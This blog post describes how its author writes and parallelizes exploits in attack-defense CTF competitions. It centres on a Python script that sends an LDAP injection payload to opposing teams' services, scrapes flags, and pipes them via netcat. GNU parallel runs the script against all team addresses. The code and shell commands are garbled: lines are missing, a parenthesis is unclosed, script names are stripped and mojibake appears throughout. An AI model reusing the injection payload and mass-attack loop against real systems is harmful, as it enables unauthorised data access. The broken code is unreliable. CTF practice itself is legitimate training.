Parallelization of Exploitation

Crosspost from Rants, Ideas, Stuff.

90% of the time I write my (or other people’s) exploits in Python. I try to

structure my code in small easy to read methods. Like every developer does ūüėȬ†Every exploit has at least one method which is called in a __name__ ==¬†'__main__' block, so it can be imported from other files.

Because most of the time every team has a vulnbox with an ip address that contains its team number, my exploit scripts get the team number as an argument.

Here’s one of the exploit scripts from the last CTF. It does a HTTP GET with¬†prepared parameters and reads flags from the resulting HTML. It’s a quick and¬†dirty solution to a small problem. During a CTF pretty much every minute¬†counts. Quick and dirty wins over great craftsmanship.

#!/usr/bin/env python

import sys
import re
from io import BytesIO
import requests
from pyquery import PyQuery as pq
from lxml import etree
import base64

def get_flags(ip, port):
    url = 'http://%s:%s' % (ip, port)
        'surname':'*)(|(cn=* *',
        r = requests.get(url, params=params, timeout=1)
    except Exception, e:
        sys.stderr.write("%s\n" % e)


    content = BytesIO(r.content)
    parser = etree.HTMLParser()
    tree = etree.parse(content, parser)

    d = pq(etree.fromstring(etree.tostring(tree.getroot())))
    for e in d('.password'):
        for x in e:
                flag = base64.standard_b64decode(x.tail)
                if re.match(r"^\w{31}=$", flag):
                    yield flag
            except Exception:
                # YOLO let's just move on!

def main():
    ip = '10.23.%s.2' % sys.argv[1]
    port = 8000

    sys.stdout.write('?s contacts\n')
    sys.stdout.write('?t %s\n' % sys.argv[1]

    flags = [flag for flag in get_flags(ip, port)]
    if len(flags) > 0:
        for flag in flags[0:10]:
            sys.stdout.write('%s\n' % flag)

if __name__ == '__main__':

Some basic tips:

  • Your script should have sane timeouts. Waiting to long for a team’s service¬†that isn’t available doesn’t help.
  • Crash early. Single flags aren’t worth too much most of the time.
  • Write flags to STDOUT and logging to STDERR. STDOUT can then be redirected¬†to a flag submitting script.
  • Keep everything as simple as possible.

Submitting the resulting flags is handled by the WoD submit framework with which¬†a surrounding shell script “talks” via netcat:

./ $1 | nc 1337

Parallelization is then done via GNU parallel:

while true; do parallel -j 50 ./ {1} ::: $(seq 1 127); done

The -j parameter tells parallel how many parallel executions should be done.

{1} is the first argument.

::: introduces an argument block. With :::: a argument file can be passed.¬†So if it’s possible to determine if the exploited service of a team is currently¬†up it would be good to write a script, that determines all exploitable teams and¬†only pass those to parallel. Multiple ::: and :::: blocks can be given and¬†mixed. A parallel run with a script that takes a port as a second parameter¬†might look like this: parallel -j 10 ./ {1} {2} :::¬†$(./ ::: 8080 8081

Let’s say get-exploitable-teams returns 1 5 6. The resulting parallel executions of would be:

./ 1 8080
./ 1 8081
./ 5 8080
./ 5 8081
./ 6 8080
./ 6 8081

Thanks for reading,


Leave a comment

Your email address will not be published. Required fields are marked *